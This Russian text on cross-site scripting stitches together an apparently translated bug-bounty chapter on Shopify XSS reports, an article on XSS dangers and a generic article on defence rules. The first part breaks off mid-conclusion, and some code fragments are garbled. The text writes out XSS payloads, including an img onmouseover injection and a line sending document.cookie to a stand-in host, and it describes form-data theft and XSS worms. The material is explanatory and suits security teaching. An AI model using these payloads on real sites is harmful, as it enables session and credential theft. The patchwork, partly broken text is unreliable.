Один из самых известных примеров использования XSS - MySpace Samy Work, выполненный Сами Камкаром. В октябре 2005 Сами использовал уязвимость stored XSS на MySpace, что позволило ему загрузить код Javascript, который выполнялся каждый раз, когда кто-нибудь посещал его страницу MySpace, добавляя посетителя страницы в друзья профиля Сами. Более того, код также копировал себя на страницы новых друзей Сами таким образом, чтобы профили новых его друзей обновлялись со следующим текстом: “but most of all, samy is my hero”.

Хотя пример Сами был относительно безобидным, использование XSS позволяет красть логины, пароли, банковскую информацию, и так далее. Несмотря на потенциальный вред, исправление XSS-уязвимостей, как правило, не является сложным и требует от разработчиков просто экранировать пользовательский ввод (прямо как в HTML-инъекции) при его отображении. Хотя, некоторые сайты так же убирают потенциально вредоносные символы, когда хакер их отправляет.

1. Распродажа Shopify

Сложность: Низкая
Url: wholesale.shopify.com
Ссылка на отчет: https://hackerone.com/reports/10629326 Дата отчета: 21 декабря 2015
Выплаченное вознаграждение: $500
Описание:

Сайт распродажи Shopify27 является простой страницей с прямым призывом к действию - введите название товара и нажмите “Find Products”. Вот скриншот:

Скриншот сайта распродаж wholesale

XSS-уязвимость здесь была самой простой, какую только можно найти - текст, введенный в поисковую строку не был экранирован, так что исполнялся любой введенный Javascript. Вот отправленный текст из описания уязвимости: test’;alert(‘XSS’);’

Причина того, что это сработало, в том, что Shopify принимал пользовательский ввод, выполнял поисковый запрос и при отсутствии результатов, печатал сообщение, сообщающее об отсутствии результатов поиска по введенному запросу, показывая на странице не экранированный пользовательский ввод. В результате, отправленный Javascript рендерился на странице и браузеры интерпретировали его как исполняемый Javascript.

Выводы

Тестируйте все, уделяйте особое внимание ситуациям, где введенный текст рендерится на странице. Проверяйте, можете ли вы включить в ввод HTML или Javascript, и смотрите, как сайт обрабатывает их. Так же пробуйте закодировать ввод подобно тому, как описано в главе, посвященной HTML-инъекциям.

XSS-уязвимости не должны быть сложными или запутанными. Эта уязвимость была самой простой, какую можно представить - простое поле для ввода текста, которое не обрабатывает пользовательский ввод. И она была обнаружена 21 декабря 2015, и принесла хакеру $500! Все, что потребовалось - хакерское мышление.

2. Корзина подарочных карт Shopify

Сложность: Низкая
Url: hardware.shopify.com/cart
Ссылка на отчет: https://hackerone.com/reports/9508928 Дата отчета: 21 октября 2015
Выплаченное вознаграждение: $500
Описание:

Сайт магазина подарочных карт Shopify29 позволяет пользователям создавать собственное оформление для подарочных карт с помощью HTML-формы, включающей в себя окошко загрузки файла, несколько строк для ввода текста деталей, и так далее. Вот скриншот:

Скриншот формы магазина подарочных карт Shopify

XSS-уязвимость здесь срабатывала, когда в поле формы, предназначенное для названия изображения, вводили Javascript. Это довольно легко сделать, используя HTML прокси, о которых мы поговорим позднеев главе “Инструменты”. Итак, оригинальная отправка формы включала:

Content - Disposition : form - data ; name = ”properties [ Artwor 2 k file ] ”

Её можно было перехватить и изменить на:

Content - Disposition : form - data ; name = ”properties [ Artwor 2 k file < img src = ’test ’onmouseover = ’alert (2 ) ’> ] ”;

Выводы

Здесь можно подметить две вещи, которые помогут обнаруживать XSS-уязвимости.

Что такое XSS и как от него защитится все уже давно знают, поэтому буду краток. XSS это возможность злоумышленника определенным образом (ссылку на возможные варианты смотрите в конце статьи) интегрировать в страницу сайта-жертвы скрипт, который будет выполнен при ее посещении.

Интересно, что в большинстве случаев, где описывается данная уязвимость, нас пугают следующим кодом:

http://www.site.com/page.php?var=<script>alert("xss");

Как-то не очень страшно:) Чем же действительно может быть опасной данная уязвимость?

Пассивная и активная

Существует два типа XSS уязвимостей - пассивная и активная.

Активная уязвимость более опасна, поскольку злоумышленнику нет необходимости заманивать жертву по специальной ссылке, ему достаточно внедрить код в базу или какой-нибудь файл на сервере. Таким образом, все посетители сайта автоматически становятся жертвами. Он может быть интегрирован, например, с помощью внедрения SQL-кода (SQL Injection). Поэтому, не стоит доверять данным, хранящимся в БД, даже если при вставке они были обработаны.

Пример пассивной уязвимости можно посмотреть в самом начале статьи. Тут уже нужна социальная инженерия, например, важное письмо от администрации сайта с просьбой проверить настройки своего аккаунта, после восстановления с бэкапа. Соответственно, нужно знать адрес жертвы или просто устроить спам-рассылку или разместить пост на каком-нибудь форуме, да еще и не факт что жертвы окажутся наивными и перейдут по вашей ссылке.

Причем пассивной уязвимости могут быть подвержены как POST так и GET-параметры. С POST-параметрами, понятно, придется идти на ухищрения. Например, переадресация с сайта злоумышленника.

document.getElementsByTagName("form").submit();

Следовательно, GET-уязвимость чуть более опасна, т.к. жертве легче заметить неправильный домен, чем дополнительный параметр (хотя url можно вообще закодировать).

Кража Cookies

Это наиболее часто приводимый пример XSS-атаки. В Cookies сайты иногда хранят какую-нибудь ценную информацию (иногда даже логин и пароль (или его хэш) пользователя), но самой опасной является кража активной сессии, поэтому не забываем нажимать ссылку «Выход» на сайтах, даже если это домашний компьютер. К счастью, на большинстве ресурсов время жизни сессии ограничено.

var іmg = new Image(); іmg.srс = "http://site/xss.php?" + document.cookie;

Поэтому и ввели доменные ограничения на XMLHttpRequest, но злоумышленнику это не страшно, поскольку есть , , , background:url(); и т.п.

Кража данных из форм

Ищем форму через, например, getElementById и отслеживаем событие onsubmit. Теперь, перед отправкой формы, введенные данные отправляются также и на сервер злоумышленника.

Этот тип атаки чем-то напоминает фишинг, только используется не поддельный сайт, а реальный, чем вызывается большее доверие жертвы.

DDoS-атака (распределенная атака типа «отказ в обслуживании»)

XSS-уязвимость на многопосещаемых ресурсах может быть использована для проведения DDoS-атаки. Суть проста - много запросов, которые не выдерживает атакуемый сервер.
Собственно отношение к XSS имеет косвенное, поскольку скрипты могут и не использоваться вовсе, достаточно конструкции вида:

Подделка межсайтовых запросов (CSRF/XSRF)

Также имеет косвенное отношение к XSS. Вообще это отдельный тип уязвимости, но часто используется совместно с XSS. Суть заключается в том, что пользователь, авторизированный на неуязвимом сайте, заходит на уязвимый (или специальную страницу злоумышленника), с которого отправляется запрос на совершение определенных действий.

Грубо говоря, в идеале это должно быть так. Пользователь авторизировался в системе платежей. Потом зашел на сайт злоумышленника или сайт с XSS-уязвимостью, с которого отправился запрос на перевод денег на счет злоумышленника.

Поэтому большинство сайтов при совершении определенных действий пользователя (например, смена e-mail) переспрашивают пароль или просят ввести код подтверждения.

XSS-черви

Этот тип атаки появился, наверное, благодаря соцсетям, таким как Вконтакте и Twitter. Суть в том, что нескольким пользователям соцсети посылается ссылка с XSS-уязвимостью, когда они перейдут по ссылке, то интегрированный скрипт рассылает сообщения другим пользователям от их имени и т.д. При этом могут совершаться и другие действия, например отсылка личных данных жертв злоумышленнику.

Безобидный XSS

Интересно, что счетчики по своей сути тоже являются в некотором роде активной XSS-атакой. Ведь на сторонний сервер передаются данные о посетителе, как, например, его IP-адрес, разрешение монитора и т.п. Только код в свою страничку вы интегрируете по собственной воле:) Взгляните, например, на код Google Analytic.

Межсайтовый скриптинг с применением java script – наиболее популярная разновидность атак. В данном материале мы расскажем вам о том, какие неприятности вызывает использование java script и как обезопасить себя от XSS атак.

Что такое XSS атака?

XSS – тип атак на пользователей Интернет-ресурсов, целью которых является похищение аутентификационных данных админов сайтов для получения доступа к административной части, прочих пользователей, которые имеют возможность персонального доступа к закрытым частям ресурса.

Данные атаки могут проводиться не только с целью взлома сайта, но также и для похищения:

Учётных данных для доступа к сторонним ресурсам;
Номеров банковских карт;
Данных для доступа к электронным кошелькам;
Контактных данных;
Иных пользовательских конфиденциальных данных.

Направления атак XSS

Данный тип атак имеет два направления:

Активные – разновидность атак, когда злоумышленник пытается найти уязвимые места в фильтре Интернет-ресурса. Посредством определённой комбинации символов и тегов хакер создаёт такой запрос, который ресурс понимает и выполняет команду. После нахождения уязвимого места в системе безопасности, в запрос вкладывается вредоносный код, который, например, будет пересылать все cookie в комфортное для хакера место.

Пассивные – предполагают вмешательство субъекта атаки. Суть – заставить пользователя перейти по вредоносной ссылке для реализации вредоносного кода. Данные атаки труднореализуемы, поскольку требуют наличия у злоумышленника отличных технических знаний и хороших познаний в области психологии.

Правила безопасности

Чтобы не стать жертвой атаки XSS следует придерживаться следующих правил безопасности:

Главное правило для разрабов – использование любого фильтра.

Фильтровать все вложенные конструкции.

Шифрование. При создании фильтра следует обязательно учитывать риск кодировки атак. Есть масса программ-кодировщиков, с помощью которых можно зашифровать какую угодно атаку так, что не один фильтр «не увидит» её. Так что применяйте расшифровку в фильтре до начала выполнения кода запроса.

Применение тегов. Есть одно уязвимое место, связанное с тегами url, bb, img, имеющими множество параметров, включая lowsrc и dynsrc, содержащие javacsript. Данные теги следует фильтровать. Если не будете применять на своём ресурсе картинки, то вообще отключите их.

Используемый фильтр должен учитывать различные варианты комбинаций символов. Чем их больше, тем лучше.

Заключение

По статистике 84% Интернет-ресурсов хорошо защищены от XSS атак. Прочие 16% не в состоянии эффективно противостоять им. Устранение этого грубого недочёта требует от владельцев сайтов дополнительных капиталовложений в безопасность, на что большинство из них не готовы. Однако ужесточение законодательства относительно повреждения, утечки и разглашения персональных данных всё больше заставляет недобросовестных владельцев улучшать безопасность своих сайтов.